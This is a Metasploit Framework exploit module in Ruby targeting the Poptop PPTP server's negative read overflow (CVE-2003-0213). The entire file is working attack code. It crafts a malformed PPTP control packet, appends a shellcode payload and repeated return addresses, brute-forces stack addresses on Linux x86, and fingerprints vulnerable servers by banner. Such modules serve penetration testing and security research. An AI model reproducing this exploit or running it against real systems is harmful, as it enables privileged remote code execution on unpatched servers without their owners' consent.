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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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#   http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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        Rank = GreatRanking
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        include Msf::Exploit::Remote::Tcp
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        include Msf::Exploit::Remote::Brute
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        def initialize(info = {})
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                super(update_info(info,
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                        'Name'           => 'Poptop Negative Read Overflow',
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                        'Description'    => %q{
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                                        This is an exploit for the Poptop negative read overflow.  This will
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                                work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
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                                currently do not have a good way to detect Poptop versions.
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                                The server will by default only allow 4 concurrent manager processes
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                                (what we run our code in), so you could have a max of 4 shells at once.
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                                Using the current method of exploitation, our socket will be closed
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                                before we have the ability to run code, preventing the use of Findsock.
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                        },
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                        'Author'         => 'spoonm',
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                        'License'        => MSF_LICENSE,
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                        'Version'        => '$Revision$',
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                        'References'     =>
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                                [
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                                        ['CVE', '2003-0213'],
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                                        ['OSVDB', '3293'],
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                                        ['URL',   'http://securityfocus.com/archive/1/317995'],
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                                        ['URL',   'http://www.freewebs.com/blightninjas/'],
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                                ],
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                        'Privileged'     => true,
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                        'Payload'        =>
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                                {
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                                        # Payload space is dynamically determined
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                                        'MinNops'         => 16,
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                                        'StackAdjustment' => -1088,
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                                        'Compat'          =>
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                                                {
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                                                        'ConnectionType' => '-find',
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                                                }
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                                },
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                        'SaveRegisters'  => [ 'esp' ],
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                        'Platform'       => 'linux',
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                        'Arch'           => ARCH_X86,
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                        'Targets'        =>
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                                [
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                                        ['Linux Bruteforce',
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                                                { 'Bruteforce' =>
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                                                        {
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                                                                'Start'  => { 'Ret' => 0xbffffa00 },
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                                                                'Stop'   => { 'Ret' => 0xbffff000 },
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                                                                'Step'   => 0
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                                                        }
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                                                }
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                                        ],
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                                ],
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                        'DefaultTarget'  => 0,
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                        'DisclosureDate' => 'Apr 9 2003'))
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                register_options(
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                        [
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                                Opt::RPORT(1723)
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                        ], self.class)
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                register_advanced_options(
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                        [
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                                OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.  Affects PayloadSpace.", 220 ]),
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                                OptInt.new("RetLength",       [ true, "Length of returns after payload.", 32 ]),
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                                OptInt.new("ExtraSpace",      [ true, "The exploit builds two protocol frames, the header frame and the control frame. " +
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                                        "ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
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                                        "If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
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                                        "(these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
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                                OptString.new("Hostname",     [ false, "PPTP Packet hostname", '' ]),
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                                OptString.new("Vendor",       [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
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                        ], self.class)
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        end
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        # Dynamic payload space calculation
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        def payload_space(explicit_target = nil)
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                datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
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        end
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        def build_packet(length)
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                [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
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                        [1,0].pack('cc') +
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                        [0].pack('n') +
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                        [1,1,0,2600].pack('NNnn') +
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                        datastore['Hostname'].ljust(64, "\x00") +
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                        datastore['Vendor'].ljust(64, "\x00")
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        end
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        def check
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                connect
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                sock.put(build_packet(156))
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                res = sock.get_once
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                if res and res =~ /MoretonBay/
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                        return CheckCode::Detected
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                end
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                return CheckCode::Safe
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        end
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        def brute_exploit(addrs)
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                connect
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                print_status("Trying #{"%.8x" % addrs['Ret']}...")
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                # Construct the evil length packet
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                packet =
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                        build_packet(1) +
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                        payload.encoded +
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                        ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
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                sock.put(packet)
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                handler
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                disconnect
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        end
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end